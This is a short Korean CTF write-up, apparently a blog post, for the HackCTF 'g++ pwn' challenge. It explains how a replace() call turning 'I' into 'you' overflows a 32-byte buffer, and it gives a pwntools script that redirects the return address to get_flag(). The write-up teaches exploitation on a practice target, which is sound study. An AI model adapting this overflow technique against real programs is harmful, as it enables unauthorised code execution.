ii4gsp
HackCTF - g++ pwn 본문
파일을 다운받아 주자.
IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다.
s는 32byte만큼 할당되었고 fgets()함수로 32byte만큼 입력을받는다.
하지만, replace()함수가 "I"를 "you"로 바꿔준다.
"you"는 3byte이므로, 3 * 20 = 60
dummy + sfp = 64
64byte dummy를 채워주고 flag를 출력해주는 get_flag() 함수의 주로를 ret로 조작해주면 된다.
get_flag()함수의 주소는 0x08048F0D 이다.
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3011)
payload = ''
payload += 'I' * 20
payload += '\x90' * 4
payload += p32(0x08048F0D)
r.sendline(payload)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - 1996 (0) | 2020.02.16 |
---|---|
HackCTF - Poet (0) | 2020.02.16 |
HackCTF - RTL_World (0) | 2020.02.15 |
HackCTF - Yes_or_no (0) | 2020.02.10 |
HackCTF - BOF_PIE (0) | 2020.02.09 |
Comments